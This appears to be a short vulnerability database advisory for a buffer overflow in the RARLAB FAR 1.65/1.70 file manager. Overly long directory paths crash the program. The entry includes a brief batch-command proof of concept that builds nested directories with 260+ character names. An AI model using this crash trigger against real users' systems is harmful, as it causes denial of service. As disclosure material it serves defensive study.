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RARLAB FAR 1.65/1.70 File Manager Buffer Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
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RARLAB FAR 1.65/1.70 File Manager Buffer Overflow Vulnerability. Denial of service due to insufficient bounds checking in directory paths parsin

Code

                                                source: http://www.securityfocus.com/bid/6822/info

A buffer overflow vulnerability has been reported for FAR that may result in a denial of service condition. The vulnerability exists due to insufficient bounds checking performed by FAR when parsing directory paths. Specifically, when FAR attempts to parse overly long paths it will crash thereby resulting in a denial of service condition. 

SET A=A<260 chars>A
SET B=BBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%\ 
                              

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